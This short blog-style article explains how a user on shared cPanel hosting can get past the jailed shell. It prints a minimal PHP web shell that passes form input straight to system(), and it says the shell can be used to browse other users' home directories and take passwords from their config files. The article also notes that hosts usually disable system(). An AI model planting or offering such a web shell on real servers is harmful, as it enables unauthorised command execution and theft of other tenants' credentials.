Users registering for shared Linux web hosting accounts usually are not provided with shell access. Even if they do, what they can do with the shell is limited, as they are only in a jailed environment, thanks to cPanel’s jailshell. Displaying the SHELL variable at the command prompt verifies this;

$ echo $SHELL

To briefly show what it means, listing out home directories using the following Linux command reveals that the user is alone in the shell.

$ ls /home/ | wc -l

With some simple HTML and PHP, a web-based shell can offer something more to the users. The following code can be made available through;

    <p>Enter command:
      <form action="jailshell.php" method=post>
      <input type=text name=command>
      <input type=submit name=submit>
      <?php system ($_POST['command']); ?>

and executing some simple commands like the following shows what it’s capable of.

People with malicious intent can use this method to search other user’s home directories and grep into their web application’s configuration file to steal passwords and other juicy information.

Most hosting providers already disable system() and other similar functions in their PHP implementation.

Discuss the article:

Comment anonymously. Login not required.